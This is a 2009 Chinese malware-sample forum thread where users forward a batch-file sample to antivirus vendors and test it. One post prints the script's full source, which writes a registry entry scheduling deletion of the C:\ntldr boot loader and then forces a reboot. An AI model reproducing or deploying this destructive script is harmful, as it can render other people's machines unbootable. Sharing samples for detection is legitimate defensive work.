BAT x1

显示全部楼层 · 发表于 2009-2-6 16:36:29

TO KL RUSSIA
PW: infected

显示全部楼层 · 发表于 2009-2-6 16:38:11

to VB

显示全部楼层 · 发表于 2009-2-6 17:13:22

TO ESET , MP

显示全部楼层 · 发表于 2009-2-6 17:26:55

这个BAT干啥的？

显示全部楼层 · 发表于 2009-2-6 17:27:18

显示全部楼层 · 发表于 2009-2-6 17:29:15

infected

显示全部楼层 · 发表于 2009-2-6 17:40:34

TO Avira

显示全部楼层 · 发表于 2009-2-6 17:47:27

双击r1.bat，生成r1.reg，系统立刻关机重启，连询问框都没有，重启后，系统无出现问题.

2009-02-06 17:36:06 运行应用程序操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\conime.exe
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->%windir%\system32\conime.exe

2009-02-06 17:36:06 运行应用程序操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\regedit.exe
命令行:/s r1.reg
触发规则:所有程序规则->系统程序_黑名单->*\regedit.exe

显示全部楼层 · 发表于 2009-2-6 18:01:07

@echo Windows Registry Editor Version 5.00>rl.reg
@echo.>>rl.reg
@echo [HKEY_L0CAL_MACHINE\sYsTEM\CurrentControlset\Control\session Manager]>>rl.reg
@echo "pendingFileRename0perations"=hex(7):5c,00,3f,00,3f,00,5c,00,43,00,3a,00,5c,00,\>>rl.reg
@echo 6e,00,74,00,6c,00,64,00,72,00,00,00,00,00,00,00>>rl.reg
@echo.>>rl.reg
@echo.>>rl.reg
@echo.>>rl.reg
@echo.>>rl.reg
@regedit /s r1.reg
@shutdown -r -t 0 -f

复制代码

显示全部楼层 · 发表于 2009-2-6 18:20:23

不对啊实机测试，双击后注册表也被修改了，还是启动正常！

[病毒样本] BAT x1

本帖子中包含更多资源

本帖子中包含更多资源

回复 5楼 hddu 的帖子